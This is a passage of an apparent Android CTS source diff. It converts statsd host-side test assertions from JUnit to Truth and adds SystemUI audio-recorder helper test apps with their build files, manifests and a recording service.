         // There should be at lease some data returned.
-        assertTrue(output.length > sizetBytes);
+        assertThat(output.length).isGreaterThan(sizetBytes);
 
         int atomCount = 0;
         int i = 0;
@@ -98,8 +100,8 @@
                 ShellDataProto.ShellData data =
                         ShellDataProto.ShellData.parseFrom(
                                 Arrays.copyOfRange(output, i + sizetBytes, i + sizetBytes + len));
-                assertTrue(data.getAtomCount() > 0);
-                assertTrue(data.getAtom(0).hasSystemUptime());
+                assertThat(data.getAtomCount()).isGreaterThan(0);
+                assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
                 atomCount++;
                 LogUtil.CLog.d("Received " + data.toString());
             } catch (InvalidProtocolBufferException e) {
@@ -108,7 +110,7 @@
             i += (sizetBytes + len);
         }
 
-        assertTrue(atomCount > 0);
+        assertThat(atomCount).isGreaterThan(0);
     }
 
     private void startSubscription(ShellConfig.ShellSubscription config,
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index bf599d3..dab7f0f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -15,7 +15,7 @@
  */
 package android.cts.statsd.uidmap;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.cts.statsd.atom.DeviceAtomTestCase;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -40,15 +40,15 @@
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
 
         ConfigMetricsReportList reports = getReportList();
-        assertTrue(reports.getReportsCount() > 0);
+        assertThat(reports.getReportsCount()).isGreaterThan(0);
 
         for (ConfigMetricsReport report : reports.getReportsList()) {
             UidMapping uidmap = report.getUidMap();
-            assertTrue(uidmap.getSnapshotsCount() > 0);
+            assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
             for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
                 // There must be at least one element in each snapshot (at least one package is
                 // installed).
-                assertTrue(snapshot.getPackageInfoCount() > 0);
+                assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
             }
         }
     }
@@ -81,7 +81,7 @@
         Thread.sleep(WAIT_TIME_SHORT);
 
         ConfigMetricsReportList reports = getReportList();
-        assertTrue(reports.getReportsCount() > 0);
+        assertThat(reports.getReportsCount()).isGreaterThan(0);
 
         boolean found = false;
         int uid = getUid();
@@ -91,7 +91,7 @@
                 found = true;
             }
         }
-        assertTrue(found);
+        assertThat(found).isTrue();
     }
 
     // We check that a re-installation gives a change event (similar to an app upgrade).
@@ -108,7 +108,7 @@
         Thread.sleep(WAIT_TIME_SHORT);
 
         ConfigMetricsReportList reports = getReportList();
-        assertTrue(reports.getReportsCount() > 0);
+        assertThat(reports.getReportsCount()).isGreaterThan(0);
 
         boolean found = false;
         int uid = getUid();
@@ -118,7 +118,7 @@
                 found = true;
             }
         }
-        assertTrue(found);
+        assertThat(found).isTrue();
     }
 
     public void testChangeFromUninstall() throws Exception {
@@ -134,7 +134,7 @@
         Thread.sleep(WAIT_TIME_SHORT);
 
         ConfigMetricsReportList reports = getReportList();
-        assertTrue(reports.getReportsCount() > 0);
+        assertThat(reports.getReportsCount()).isGreaterThan(0);
 
         boolean found = false;
         for (ConfigMetricsReport report : reports.getReportsList()) {
@@ -143,6 +143,6 @@
                 found = true;
             }
         }
-        assertTrue(found);
+        assertThat(found).isTrue();
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 2d09a0d..889763b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -15,8 +15,8 @@
  */
 package android.cts.statsd.validation;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.cts.statsd.atom.DeviceAtomTestCase;
 import android.os.BatteryStatsProto;
@@ -71,11 +71,11 @@
 
         BatteryStatsProto batterystatsProto = getBatteryStatsProto();
         List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertEquals(1, countMetricData.size());
-        assertEquals(1, countMetricData.get(0).getBucketInfoCount());
-        assertTrue(countMetricData.get(0).getBucketInfo(0).getCount() >= 2);
-        assertEquals(batterystatsProto.getSystem().getMisc().getNumConnectivityChanges(),
-                countMetricData.get(0).getBucketInfo(0).getCount());
+        assertThat(countMetricData).hasSize(1);
+        assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
+        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
+        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
+                (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
     }
 
     public void testPowerUse() throws Exception {
@@ -105,19 +105,16 @@
         // Extract statsd data
         Atom atom = atomList.get(0);
         long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
-        assertTrue("Statsd: Non-positive power value.", statsdPowerNas > 0);
+        assertThat(statsdPowerNas).isGreaterThan(0L);
 
         // Extract BatteryStats data
         double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
                 * 1_000_000L * 3600L; /* mAh to nAs */
-        assertTrue("BatteryStats: Non-positive power value.", bsPowerNas > 0);
+        assertThat(bsPowerNas).isGreaterThan(0d);
 
-        assertTrue(
-                String.format("Statsd (%d) < Batterystats (%f)", statsdPowerNas, bsPowerNas),
-                statsdPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
-        assertTrue(
-                String.format("Batterystats (%f) < Statsd (%d)", bsPowerNas, statsdPowerNas),
-                bsPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
+        assertThat((double) statsdPowerNas)
+                .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
+        assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
     }
 
     public void testPowerBlameUid() throws Exception {
@@ -152,13 +149,15 @@
         for (Atom atom : atomList) {
             DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
             if (item.getUid() == uid) {
-                assertFalse("Found multiple power values for uid " + uid, uidFound);
+                assertWithMessage("Found multiple power values for uid %s", uid)
+                        .that(uidFound).isFalse();
                 uidFound = true;
                 statsdUidPowerNas = item.getPowerNanoAmpSecs();
             }
         }
-        assertTrue("Statsd: No power value for uid " + uid, uidFound);
-        assertTrue("Statsd: Non-positive power value for uid " + uid, statsdUidPowerNas > 0);
+        assertWithMessage("Statsd: No power value for uid %s", uid).that(uidFound).isTrue();
+        assertWithMessage("Statsd: Non-positive power value for uid %s", uid)
+                .that(statsdUidPowerNas).isGreaterThan(0L);
 
         // Extract batterystats data
         double bsUidPowerNas = -1;
@@ -170,15 +169,13 @@
                         * 1_000_000L * 3600L; /* mAh to nAs */;
             }
         }
-        assertTrue("Batterystats: No power value for uid " + uid, hadUid);
-        assertTrue("BatteryStats: Non-positive power value for uid " + uid, bsUidPowerNas > 0);
+        assertWithMessage("Batterystats: No power value for uid %s", uid).that(hadUid).isTrue();
+        assertWithMessage("BatteryStats: Non-positive power value for uid %s", uid)
+                .that(bsUidPowerNas).isGreaterThan(0d);
 
-        assertTrue(
-                String.format("Statsd (%d) < Batterystats (%f).", statsdUidPowerNas, bsUidPowerNas),
-                statsdUidPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * bsUidPowerNas);
-        assertTrue(
-                String.format("Batterystats (%f) < Statsd (%d).", bsUidPowerNas, statsdUidPowerNas),
-                bsUidPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * statsdUidPowerNas);
+        assertThat((double) statsdUidPowerNas)
+                .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsUidPowerNas);
+        assertThat(bsUidPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdUidPowerNas);
     }
 
     public void testServiceStartCount() throws Exception {
@@ -193,16 +190,17 @@
 
         BatteryStatsProto batterystatsProto = getBatteryStatsProto();
         List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertTrue(countMetricData.size() > 0);
+        assertThat(countMetricData).isNotEmpty();
         int uid = getUid();
         long countFromStatsd = 0;
         for (CountMetricData data : countMetricData) {
             List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
             if (dims.get(0).getValueInt() == uid) {
-                assertEquals(DEVICE_SIDE_TEST_PACKAGE, dims.get(1).getValueStr());
-                assertEquals(dims.get(2).getValueStr(), DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
+                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+                assertThat(dims.get(2).getValueStr())
+                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
                 countFromStatsd = data.getBucketInfo(0).getCount();
-                assertTrue(countFromStatsd > 0);
+                assertThat(countFromStatsd).isGreaterThan(0L);
             }
         }
         long countFromBS = 0;
@@ -213,16 +211,16 @@
                         for (Service svc : pkg.getServicesList()) {
                             if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
                                 countFromBS = svc.getStartCount();
-                                assertTrue(countFromBS > 0);
+                                assertThat(countFromBS).isGreaterThan(0L);
                             }
                         }
                     }
                 }
             }
         }
-        assertTrue(countFromStatsd > 0);
-        assertTrue(countFromBS > 0);
-        assertEquals(countFromBS, countFromStatsd);
+        assertThat(countFromStatsd).isGreaterThan(0L);
+        assertThat(countFromBS).isGreaterThan(0L);
+        assertThat(countFromBS).isEqualTo(countFromStatsd);
     }
 
     public void testServiceLaunchCount() throws Exception {
@@ -237,16 +235,17 @@
 
         BatteryStatsProto batterystatsProto = getBatteryStatsProto();
         List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertTrue(countMetricData.size() > 0);
+        assertThat(countMetricData).isNotEmpty();
         int uid = getUid();
         long countFromStatsd = 0;
         for (CountMetricData data : countMetricData) {
             List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
             if (dims.get(0).getValueInt() == uid) {
-                assertEquals(DEVICE_SIDE_TEST_PACKAGE, dims.get(1).getValueStr());
-                assertEquals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME, dims.get(2).getValueStr());
+                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+                assertThat(dims.get(2).getValueStr())
+                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
                 countFromStatsd = data.getBucketInfo(0).getCount();
-                assertTrue(countFromStatsd > 0);
+                assertThat(countFromStatsd).isGreaterThan(0L);
             }
         }
         long countFromBS = 0;
@@ -257,15 +256,15 @@
                         for (Service svc : pkg.getServicesList()) {
                             if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
                                 countFromBS = svc.getLaunchCount();
-                                assertTrue(countFromBS > 0);
+                                assertThat(countFromBS).isGreaterThan(0L);
                             }
                         }
                     }
                 }
             }
         }
-        assertTrue(countFromStatsd > 0);
-        assertTrue(countFromBS > 0);
-        assertEquals(countFromBS, countFromStatsd);
+        assertThat(countFromStatsd).isGreaterThan(0L);
+        assertThat(countFromBS).isGreaterThan(0L);
+        assertThat(countFromBS).isEqualTo(countFromStatsd);
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index cfa0a37..9cb198c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -15,7 +15,7 @@
  */
 package android.cts.statsd.validation;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.cts.statsd.atom.ProcStateTestCase;
 import android.service.procstats.ProcessState;
@@ -113,8 +113,8 @@
             }
         }
         // Verify that duration is within 1% difference
-        assertTrue(Math.abs(durationInTopStatsd - durationInTopProcStats) / durationInTopProcStats
-                < 0.1);
+        assertThat(Math.abs(durationInTopStatsd - durationInTopProcStats) / durationInTopProcStats)
+                .isLessThan(0.01);
     }
 
     public void testProcessStateCachedEmptyDuration() throws Exception {
@@ -178,8 +178,8 @@
             }
         }
         // Verify that duration is within 1% difference
-        assertTrue(Math.abs(durationInStatsd - durationInProcStats) / durationInProcStats
-                < 0.1);
+        assertThat(Math.abs(durationInStatsd - durationInProcStats) / durationInProcStats)
+                .isLessThan(0.01);
     }
 
     public void testProcessStatePssValue() throws Exception {
@@ -240,8 +240,8 @@
                 }
             }
         }
-        assertTrue(valueInProcStats > 0);
-        assertTrue(valueInStatsd == valueInProcStats);
+        assertThat(valueInProcStats).isGreaterThan(0d);
+        assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
     }
 
     public void testProcessStateByPulling() throws Exception {
@@ -342,11 +342,11 @@
         }
 
         LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
-        assertTrue(durationStatsd > 0);
-        assertTrue(durationStatsd == durationProcstats);
-        assertTrue(pssAvgStatsd == pssAvgProcstats);
-        assertTrue(ussAvgStatsd == ussAvgProcstats);
-        assertTrue(rssAvgStatsd == rssAvgProcstats);
+        assertThat(durationStatsd).isGreaterThan(0L);
+        assertThat(durationStatsd).isEqualTo(durationProcstats);
+        assertThat(pssAvgStatsd).isEqualTo(pssAvgProcstats);
+        assertThat(ussAvgStatsd).isEqualTo(ussAvgProcstats);
+        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
     }
 
     public void testProcStatsPkgProcStats() throws Exception {
@@ -390,8 +390,11 @@
         Thread.sleep(WAIT_TIME_SHORT);
 
         List<Atom> statsdData = getGaugeMetricDataList();
-        assertTrue(statsdData.size() > 0);
-        assertTrue(statsdData.get(0).getProcStatsPkgProc().getProcStatsSection().getAvailablePagesList().size() > 0);
+        assertThat(statsdData).isNotEmpty();
+        assertThat(
+                statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
+                        .getAvailablePagesList()
+        ).isNotEmpty();
 
         List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
 
@@ -421,8 +424,8 @@
                         }
                     }
                 }
-                assertTrue(pkg.getServiceStatsCount() == 0);
-                assertTrue(pkg.getAssociationStatsCount() == 0);
+                assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
+                assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
             }
         }
 
@@ -453,14 +456,14 @@
             serviceStatsCount += pkg.getServiceStatsCount();
             associationStatsCount += pkg.getAssociationStatsCount();
         }
-        assertTrue(serviceStatsCount > 0);
-        assertTrue(associationStatsCount > 0);
+        assertThat(serviceStatsCount).isGreaterThan(0);
+        assertThat(associationStatsCount).isGreaterThan(0);
 
         LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
-        assertTrue(durationStatsd > 0);
-        assertTrue(durationStatsd == durationProcstats);
-        assertTrue(pssAvgStatsd == pssAvgProcstats);
-        assertTrue(ussAvgStatsd == ussAvgProcstats);
-        assertTrue(rssAvgStatsd == rssAvgProcstats);
+        assertThat(durationStatsd).isGreaterThan(0L);
+        assertThat(durationStatsd).isEqualTo(durationProcstats);
+        assertThat(pssAvgStatsd).isEqualTo(pssAvgProcstats);
+        assertThat(ussAvgStatsd).isEqualTo(ussAvgProcstats);
+        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index ae40111..d4815b4 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -15,7 +15,8 @@
  */
 package android.cts.statsd.validation;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.cts.statsd.atom.DeviceAtomTestCase;
 import android.os.BatteryPluggedStateEnum;
@@ -48,6 +49,8 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import com.google.common.collect.Range;
+
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
@@ -118,10 +121,8 @@
         for (EventMetricData event : data) {
             String tag = event.getAtom().getWakelockStateChanged().getTag();
             WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertTrue("Expected tag: " + EXPECTED_TAG + ", but got tag: " + tag,
-                    tag.equals(EXPECTED_TAG));
-            assertTrue("Expected wakelock level: " + EXPECTED_LEVEL + ", but got level: " + type,
-                    type == EXPECTED_LEVEL);
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+            assertThat(type).isEqualTo(EXPECTED_LEVEL);
         }
 
         //=================== verify that batterystats is correct ===============//
@@ -129,12 +130,10 @@
         android.os.TimerProto wl =
                 getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
 
-        assertNotNull(wl);
-        assertTrue(wl.getDurationMs() > 0);
-        assertTrue(wl.getMaxDurationMs() >= 400);
-        assertTrue(wl.getMaxDurationMs() < 700);
-        assertTrue(wl.getTotalDurationMs() >= 400);
-        assertTrue(wl.getTotalDurationMs() < 700);
+        assertThat(wl).isNotNull();
+        assertThat(wl.getDurationMs()).isGreaterThan(0L);
+        assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
+        assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
 
         setAodState(aodState); // restores AOD to initial state.
     }
@@ -174,36 +173,34 @@
         // Get the batterystats wakelock time and make sure it's reasonable.
         android.os.TimerProto bsWakelock =
                 getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
-        assertNotNull("Could not find any partial wakelocks with uid " + EXPECTED_UID +
-                " and tag " + EXPECTED_TAG + " in BatteryStats", bsWakelock);
+        assertWithMessage(
+                "No partial wakelocks with uid %s and tag %s in BatteryStats",
+                EXPECTED_UID, EXPECTED_TAG
+        ).that(bsWakelock).isNotNull();
         long bsDurationMs = bsWakelock.getTotalDurationMs();
-        assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-                + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION +
-                ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION);
-        assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-                + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION +
-                ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION);
+        assertWithMessage(
+                "Wakelock in batterystats with uid %s and tag %s was too short or too long",
+                EXPECTED_UID, EXPECTED_TAG
+        ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
 
         // Get the statsd wakelock time and make sure it's reasonable.
-        assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
-                statsdWakelockData.containsKey(EXPECTED_UID));
-        assertTrue("Did not find any wakelocks with tag " + EXPECTED_TAG + " in statsd",
-                statsdWakelockData.get(EXPECTED_UID).containsKey(EXPECTED_TAG_HASH));
+        assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
+                .that(statsdWakelockData).containsKey(EXPECTED_UID);
+        assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
+                .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
         long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
                 .get(EXPECTED_TAG_HASH) / 1_000_000;
-        assertTrue("Wakelock in statsd with uid " + EXPECTED_UID + " and tag " + EXPECTED_TAG +
-                        "was too short. Expected " + MIN_DURATION + ", received " +
-                        statsdDurationMs,
-                statsdDurationMs >= MIN_DURATION);
-        assertTrue("Wakelock in statsd with uid " + EXPECTED_UID + " and tag " + EXPECTED_TAG +
-                        "was too long. Expected " + MAX_DURATION + ", received " + statsdDurationMs,
-                statsdDurationMs <= MAX_DURATION);
+        assertWithMessage(
+                "Wakelock in statsd with uid %s and tag %s was too short or too long", 
+                EXPECTED_UID, EXPECTED_TAG
+        ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
 
         // Compare batterystats with statsd.
         long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        assertTrue("For uid=" + EXPECTED_UID + " tag=" + EXPECTED_TAG + " had " +
-                        "BatteryStats=" + bsDurationMs + "ms but statsd=" + statsdDurationMs + "ms",
-                difference <= Math.max(bsDurationMs / 10, 10L));
+        assertWithMessage(
+                "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
+                EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
+        ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
 
         setAodState(aodState); // restores AOD to initial state.
     }
@@ -304,7 +301,7 @@
         for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
             // Gets tag and uid.
             List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            assertTrue("Expected 2 dimensions, received " + dims.size(), dims.size() == 2);
+            assertThat(dims).hasSize(2);
             boolean hasTag = false;
             long tag = 0;
             int uid = -1;
@@ -317,8 +314,8 @@
                     tag = dim.getValueStrHash();
                 }
             }
-            assertTrue("Did not receive a tag for the wakelock", hasTag);
-            assertTrue("Did not receive a uid for the wakelock", uid != -1);
+            assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
+            assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
 
             // Gets duration.
             for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
diff --git a/hostsidetests/systemui/AndroidTest.xml b/hostsidetests/systemui/AndroidTest.xml
index baeb90d..1fa4c74 100644
--- a/hostsidetests/systemui/AndroidTest.xml
+++ b/hostsidetests/systemui/AndroidTest.xml
@@ -18,9 +18,12 @@
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiDeviceApp.apk" />
+        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppAudioRecord.apk" />
+        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppMediaRecorder.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSystemUiHostTestCases.jar" />
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
new file mode 100644
index 0000000..c4848e8
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
+    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
new file mode 100755
index 0000000..a9a410e
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.systemui.cts.audiorecorder.audiorecord">
+
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+    <application>
+        <service android:name=".AudioRecorderService"
+                 android:exported="true"/>
+    </application>
+
+</manifest>
+
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java b/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
new file mode 100644
index 0000000..3e244b9
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/src/android/systemui/cts/audiorecorder/audiorecord/AudioRecorderService.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.audiorecord;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.systemui.cts.audiorecorder.base.BaseAudioRecorderService;
+
+public class AudioRecorderService extends BaseAudioRecorderService {
+    private AudioRecord mAudioRecord = null;
+    private int mBufferSizeInBytes;
+
+    protected synchronized void startRecording() {
+        final int channelConfig = AudioFormat.CHANNEL_IN_MONO;
+        final int sampleRate = 32000;
+        final int format = AudioFormat.ENCODING_PCM_16BIT;
+        mBufferSizeInBytes = 2 * AudioRecord.getMinBufferSize(sampleRate, channelConfig, format);
+        mAudioRecord =
+                new AudioRecord.Builder()
+                        .setAudioFormat(
+                                new AudioFormat.Builder()
+                                        .setEncoding(format)
+                                        .setSampleRate(sampleRate)
+                                        .setChannelMask(channelConfig)
+                                        .build())
+                        .setBufferSizeInBytes(mBufferSizeInBytes)
+                        .build();
+
+        mAudioRecord.startRecording();
+
+        new Thread(this::readAudioRecordDataUntilStopped).start();
+    }
+
+    private void readAudioRecordDataUntilStopped() {
+        while (true) {
+            final short[] data = new short[mBufferSizeInBytes / 2];
+            synchronized (this) {
+                if (mAudioRecord == null) {
+                    return;
+                }
+
+                mAudioRecord.read(data, 0, data.length);
+            }
+        }
+    }
+
+    protected synchronized void stopRecording() {
+        mAudioRecord.stop();
+        mAudioRecord.release();
+        mAudioRecord = null;
+    }
+
+    protected synchronized boolean isRecording() {
+        return mAudioRecord != null;
+    }
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
new file mode 100644
index 0000000..bc1cb75
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
+    static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
new file mode 100755
index 0000000..2ef3228
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
